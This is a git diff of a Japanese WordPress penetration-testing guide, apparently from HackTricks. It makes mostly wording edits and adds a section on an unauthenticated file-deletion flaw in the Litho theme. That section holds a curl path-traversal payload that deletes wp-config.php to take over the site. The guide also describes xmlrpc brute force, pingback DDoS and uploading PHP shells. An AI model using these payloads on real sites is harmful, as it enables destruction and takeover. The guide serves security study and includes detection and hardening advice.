diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index e85b3cb17..490664a62 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,17 +5,17 @@ ## 基本情報 - **アップロードされた**ファイルは次の場所にあります: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **テーマファイルは /wp-content/themes/ にあります。** したがって、RCEを取得するためにテーマのphpを変更する場合は、そのパスを使用することになります。例えば、**テーマ twentytwelve**を使用すると、次の場所にある**404.php**ファイルに**アクセス**できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **テーマファイルは/wp-content/themes/にあります。** したがって、RCEを取得するためにテーマのphpを変更する場合は、そのパスを使用することになります。例えば、**テーマtwentytwelve**を使用すると、次の場所にある**404.php**ファイルに**アクセス**できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **別の便利なURLは次のとおりです:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **wp-config.php**にはデータベースのルートパスワードが含まれています。 - 確認すべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **主なWordPressファイル** +### **主要なWordPressファイル** - `index.php` -- `license.txt`には、インストールされたWordPressのバージョンなどの有用な情報が含まれています。 +- `license.txt`には、インストールされているWordPressのバージョンなどの有用な情報が含まれています。 - `wp-activate.php`は、新しいWordPressサイトを設定する際のメールアクティベーションプロセスに使用されます。 - ログインフォルダ(隠すために名前が変更されることがあります): - `/wp-admin/login.php` @@ -23,21 +23,21 @@ - `/login.php` - `/wp-login.php` - `xmlrpc.php`は、HTTPを輸送メカニズム、XMLをエンコーディングメカニズムとして使用してデータを送信するWordPressの機能を表すファイルです。このタイプの通信は、WordPressの[REST API](https://developer.wordpress.org/rest-api/reference)に置き換えられました。 -- `wp-content`フォルダは、プラグインとテーマが保存される主なディレクトリです。 +- `wp-content`フォルダは、プラグインとテーマが保存される主要なディレクトリです。 - `wp-content/uploads/`は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。 - `wp-includes/`は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。 -- `wp-sitemap.xml`は、WordPressバージョン5.5以降、WordPressがすべての公開投稿と公開可能な投稿タイプおよびタクソノミーを含むサイトマップXMLファイルを生成します。 +- `wp-sitemap.xml`は、Wordpressバージョン5.5以降、Wordpressがすべての公開投稿と公開クエリ可能な投稿タイプおよび分類法を含むサイトマップXMLファイルを生成します。 **ポストエクスプロイト** -- `wp-config.php`ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルプレフィックスなど、WordPressがデータベースに接続するために必要な情報が含まれています。この設定ファイルは、トラブルシューティングに役立つDEBUGモードを有効にするためにも使用できます。 +- `wp-config.php`ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルプレフィックスなど、WordPressがデータベースに接続するために必要な情報が含まれています。この構成ファイルは、トラブルシューティングに役立つDEBUGモードを有効にするためにも使用できます。 ### ユーザー権限 - **管理者** - **エディター**: 自分と他の投稿を公開および管理 - **著者**: 自分の投稿を公開および管理 -- **寄稿者**: 自分の投稿を書くことができ、管理することができますが、公開することはできません +- **寄稿者**: 自分の投稿を書くことができるが、公開できない - **購読者**: 投稿をブラウズし、自分のプロフィールを編集 ## **パッシブ列挙** @@ -79,7 +79,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### プラグインとテーマ -すべてのプラグインとテーマを見つけることはおそらくできません。すべてを発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。 +すべてのプラグインとテーマを見つけることはおそらくできません。それらをすべて発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、これらのリストを含む自動化ツールがあります)。 ### ユーザー @@ -87,27 +87,27 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -レスポンスが **200** または **30X** の場合、それは id が **有効** であることを意味します。レスポンスが **400** の場合、id は **無効** です。 +レスポンスが**200**または**30X**の場合、それはidが**有効**であることを意味します。レスポンスが**400**の場合、idは**無効**です。 - **wp-json:** ユーザーに関する情報を取得するために、次のようにクエリを試すこともできます: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -ユーザーに関する情報を明らかにする別の `/wp-json/` エンドポイントは次のとおりです: +別の `/wp-json/` エンドポイントで、ユーザーに関する情報を明らかにすることができるのは次の通りです: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -このエンドポイントは、投稿を行ったユーザーのみを公開します。**この機能が有効なユーザーに関する情報のみが提供されます**。 +このエンドポイントは、投稿を行ったユーザーのみを公開します。 **この機能が有効なユーザーに関する情報のみが提供されます**。 また、**/wp-json/wp/v2/pages** はIPアドレスを漏洩する可能性があります。 -- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**ユーザー名が存在するかどうか**で**異なります**。 +- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**指定されたユーザー名が存在するかどうか**で**異なります**。 ### XML-RPC `xml-rpc.php` がアクティブな場合、資格情報のブルートフォース攻撃を実行するか、他のリソースに対してDoS攻撃を開始するために使用できます。(このプロセスを自動化することができます[ using this](https://github.com/relarizky/wpxploit) など)。 -アクティブかどうかを確認するには、_**/xmlrpc.php**_ にアクセスして、このリクエストを送信してください: +アクティブかどうかを確認するには、_**/xmlrpc.php**_ にアクセスし、このリクエストを送信してください: **チェック** ```html @@ -132,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` メッセージ _"Incorrect username or password"_ は、資格情報が無効な場合に200コードのレスポンス内に表示されるべきです。 -![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) +![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) @@ -166,18 +166,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -また、**`system.multicall`**を使用して、同じリクエストで複数の資格情報を試すことができる**より高速な方法**があります: +また、**`system.multicall`**を使用して、同じリクエストで複数の資格情報を試すことで、資格情報をブルートフォースする**より速い方法**があります:
**2FAのバイパス** -この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできる可能性があります**。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。 +この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできる可能性があります**。コンソールを通じて行えるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。 **DDoSまたはポートスキャン** リスト内にメソッド_**pingback.ping**_が見つかれば、Wordpressに任意のホスト/ポートにリクエストを送信させることができます。\ -これを使用して、**数千**のWordpress **サイト**に**1つの**場所に**アクセス**させることができ(その場所で**DDoS**が発生します)、または**Wordpress**に内部**ネットワーク**を**スキャン**させることができます(任意のポートを指定できます)。 +これを使用して、**数千**のWordpress **サイト**に**1つの**場所に**アクセス**させることができ(その場所で**DDoS**が発生します)、または**Wordpress**に内部**ネットワーク**を**スキャン**させることもできます(任意のポートを指定できます)。 ```html pingback.ping @@ -237,18 +237,18 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## ビットを上書きしてアクセスを得る -これは実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができました。 +実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができます。 ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **パネル RCE** -**使用しているテーマの php を変更する(管理者の資格情報が必要)** +**使用しているテーマのphpを変更する(管理者の資格情報が必要)** -外観 → テーマエディタ → 404 テンプレート(右側) +外観 → テーマエディタ → 404テンプレート(右側) -php シェルの内容に変更します: +phpシェルの内容に変更します: ![](<../../images/image (384).png>) @@ -267,7 +267,7 @@ to get a session. ### PHP プラグイン プラグインとして .php ファイルをアップロードすることが可能かもしれません。\ -例えば、次のようにして php バックドアを作成します: +例えば、次のようにして PHP バックドアを作成します: ![](<../../images/image (183).png>) @@ -275,11 +275,11 @@ to get a session. ![](<../../images/image (722).png>) -プラグインをアップロードし、今すぐインストールを押します: +プラグインをアップロードし、「今すぐインストール」を押します: ![](<../../images/image (249).png>) -続行をクリックします: +「続行」をクリックします: ![](<../../images/image (70).png>) @@ -301,17 +301,17 @@ to get a session. - ダウンロードしたプラグインの zip ファイルをアップロードします。 3. **プラグインの有効化**: プラグインが正常にインストールされたら、ダッシュボードを通じて有効化する必要があります。 4. **悪用**: -- "reflex-gallery" プラグインがインストールされ、有効化されていると、脆弱性が知られているため悪用できます。 +- プラグイン「reflex-gallery」をインストールして有効化すると、脆弱性が知られているため悪用できます。 - Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メーターpreter セッションを確立し、サイトへの不正アクセスを許可します。 -- これは、WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことに注意してください。 +- これは WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことに注意してください。 -この内容には、プラグインのインストールと有効化のための WordPress ダッシュボードでの手順を示す視覚的な補助が含まれています。ただし、この方法で脆弱性を悪用することは、適切な承認なしに違法で非倫理的であることに注意が必要です。この情報は、責任を持って使用し、明示的な許可を得たペネトレーションテストなどの法的な文脈でのみ使用するべきです。 +この内容には、プラグインのインストールと有効化の手順を示す視覚的な補助が含まれています。ただし、この方法で脆弱性を悪用することは、適切な承認なしに違法かつ非倫理的であることに注意が必要です。この情報は責任を持って使用し、明示的な許可を得たペネトレーションテストなどの法的な文脈でのみ使用するべきです。 **詳細な手順については、次を確認してください:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## XSS から RCE へ -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、**Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。これは **Wordpress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、**クロスサイトスクリプティング (XSS)** 脆弱性を **リモートコード実行 (RCE)** または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。これは **WordPress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:** - _**権限昇格:**_ WordPress にユーザーを作成します。 - _**(RCE) カスタムプラグイン (バックドア) アップロード:**_ カスタムプラグイン (バックドア) を WordPress にアップロードします。 - _**(RCE) ビルトインプラグイン編集:**_ WordPress のビルトインプラグインを編集します。 @@ -336,7 +336,7 @@ Wordpressプラグインが機能をどのように公開するかを知るこ - **`wp_ajax`** -プラグインが機能をユーザーに公開する方法の一つは、AJAXハンドラーを介することです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された**任意のユーザーが持っている可能性のある**Wordpress nonceの存在に基づいて、認証と認可の両方を行うことがよくあります(役割に関係なく)。 +プラグインが機能をユーザーに公開する方法の一つは、AJAXハンドラーを介してです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された**任意のユーザーが持っている可能性のある**Wordpress nonceの存在に基づいて認証と認可を行うことがよくあります(役割に関係なく)。 これらは、プラグイン内で関数を公開するために使用できる関数です: ```php @@ -346,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **`nopriv`の使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)にアクセス可能になります。** > [!CAUTION] -> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数はユーザーがログインしているかどうかを確認しているだけで、通常はユーザーの役割を確認していません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。 +> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数は通常、ユーザーがログインしているかどうかを確認しているだけで、ユーザーの役割を確認しているわけではありません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。 - **REST API** @@ -362,17 +362,93 @@ $this->namespace, '/get/', array( ``` `permission_callback` は、特定のユーザーがAPIメソッドを呼び出す権限があるかどうかを確認するためのコールバック関数です。 -**組み込みの `__return_true` 関数が使用される場合、ユーザー権限のチェックは単にスキップされます。** +**組み込みの `__return_true` 関数が使用されると、ユーザー権限のチェックは単にスキップされます。** - **PHPファイルへの直接アクセス** -もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、どのユーザーでも悪用可能です。 +もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、任意のユーザーによって悪用される可能性があります。 + +### wp_ajax_noprivを介した認証されていない任意のファイル削除 (Lithoテーマ <= 3.0) + +WordPressのテーマやプラグインは、頻繁に `wp_ajax_` および `wp_ajax_nopriv_` フックを通じてAJAXハンドラーを公開します。**_nopriv_** バリアントが使用されると、**コールバックは認証されていない訪問者によって到達可能になります**。したがって、任意の敏感なアクションはさらに以下を実装する必要があります: + +1. **権限チェック**(例:`current_user_can()` または少なくとも `is_user_logged_in()`)、および +2. **CSRFノンス**を `check_ajax_referer()` / `wp_verify_nonce()` で検証し、そして +3. **厳格な入力のサニタイズ / バリデーション**。 + +Lithoマルチパーパステーマ(< 3.1)は、*フォントファミリーの削除*機能においてこれらの3つの制御を忘れ、以下のコード(簡略化されたもの)を出荷しました: +```php +function litho_remove_font_family_action_data() { +if ( empty( $_POST['fontfamily'] ) ) { +return; +} +$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] ); +$upload_dir = wp_upload_dir(); +$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily; +$filesystem = Litho_filesystem::init_filesystem(); + +if ( file_exists( $srcdir ) ) { +$filesystem->delete( $srcdir, FS_CHMOD_DIR ); +} +die(); +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +``` +このスニペットによって引き起こされる問題: + +* **認証されていないアクセス** – `wp_ajax_nopriv_` フックが登録されています。 +* **ノンス / 権限チェックなし** – どの訪問者でもエンドポイントにアクセスできます。 +* **パスのサニタイズなし** – ユーザー制御の `fontfamily` 文字列がフィルタリングなしでファイルシステムパスに連結され、古典的な `../../` トラバーサルを可能にします。 + +#### 悪用 + +攻撃者は、単一のHTTP POSTリクエストを送信することで、**アップロードベースディレクトリの下にある**任意のファイルまたはディレクトリを削除できます(通常は `/wp-content/uploads/`)。 +```bash +curl -X POST https://victim.com/wp-admin/admin-ajax.php \ +-d 'action=litho_remove_font_family_action_data' \ +-d 'fontfamily=../../../../wp-config.php' +``` +`wp-config.php` は *uploads* の外にあるため、デフォルトのインストールでは `../` シーケンスが4つあれば十分です。 `wp-config.php` を削除すると、次回の訪問時に WordPress が *インストールウィザード* に強制的に入るため、完全なサイトの乗っ取りが可能になります(攻撃者は新しい DB 設定を提供し、管理者ユーザーを作成するだけです)。 + +他の影響力のあるターゲットには、プラグイン/テーマの `.php` ファイル(セキュリティプラグインを破るため)や `.htaccess` ルールが含まれます。 + +#### 検出チェックリスト + +* `add_action( 'wp_ajax_nopriv_...')` コールバックでファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出すもの。 +* パスへのサニタイズされていないユーザー入力の連結(`$_POST`, `$_GET`, `$_REQUEST` を探す)。 +* `check_ajax_referer()` および `current_user_can()`/`is_user_logged_in()` の不在。 + +#### ハードニング +```php +function secure_remove_font_family() { +if ( ! is_user_logged_in() ) { +wp_send_json_error( 'forbidden', 403 ); +} +check_ajax_referer( 'litho_fonts_nonce' ); + +$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); +$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; + +if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { +wp_send_json_error( 'invalid path', 400 ); +} +// … proceed … +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); +// 🔒 NO wp_ajax_nopriv_ registration +``` +> [!TIP] +> **常に** ディスク上の書き込み/削除操作を特権として扱い、再確認してください: +> • 認証 • 認可 • ノンス • 入力のサニタイズ • パスの制限 (例: `realpath()` と `str_starts_with()` を使用)。 + +--- ## WordPressの保護 ### 定期的な更新 -WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることを確認してください。 +WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることを確認してください: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); @@ -391,7 +467,11 @@ add_filter( 'auto_update_theme', '__return_true' ); - デフォルトの**admin**ユーザーを削除する - **強力なパスワード**と**2FA**を使用する - 定期的にユーザーの**権限**を**レビュー**する -- ブルートフォース攻撃を防ぐために**ログイン試行回数**を制限する +- ブルートフォース攻撃を防ぐために**ログイン試行回数を制限**する - **`wp-admin.php`**ファイルの名前を変更し、内部または特定のIPアドレスからのみアクセスを許可する。 +## 参考文献 + +- [Lithoテーマにおける認証されていない任意のファイル削除脆弱性](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) + {{#include ../../banners/hacktricks-training.md}}